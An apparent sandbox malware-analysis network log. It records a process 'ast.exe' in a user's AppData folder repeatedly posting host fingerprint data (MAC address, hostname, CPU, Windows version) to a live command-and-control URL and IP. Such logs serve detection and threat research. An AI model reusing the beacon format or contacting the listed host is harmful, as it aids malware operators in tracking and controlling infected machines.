                                                                                                                                    2024-11-19 17:58:47 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    12192.168.2.851415212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:48 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:48 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    13192.168.2.851418212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:50 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:50 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.
                                                                                                                                    2024-11-19 17:58:50 UTC403OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.19045) x64


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    14192.168.2.851421212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:51 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:51 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    15192.168.2.851424212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:51 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:51 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    16192.168.2.851427212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:52 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:52 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    17192.168.2.851430212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:53 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:53 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    18192.168.2.851433212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:54 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:54 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    19192.168.2.851436212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:55 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:55 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    20192.168.2.851439212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:56 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:56 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    21192.168.2.851442212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:57 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:57 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    22192.168.2.851448212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:58 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:58 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    23192.168.2.851451212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:59 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:59 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    24192.168.2.851454212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:00 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:00 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    25192.168.2.851457212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:01 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:01 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
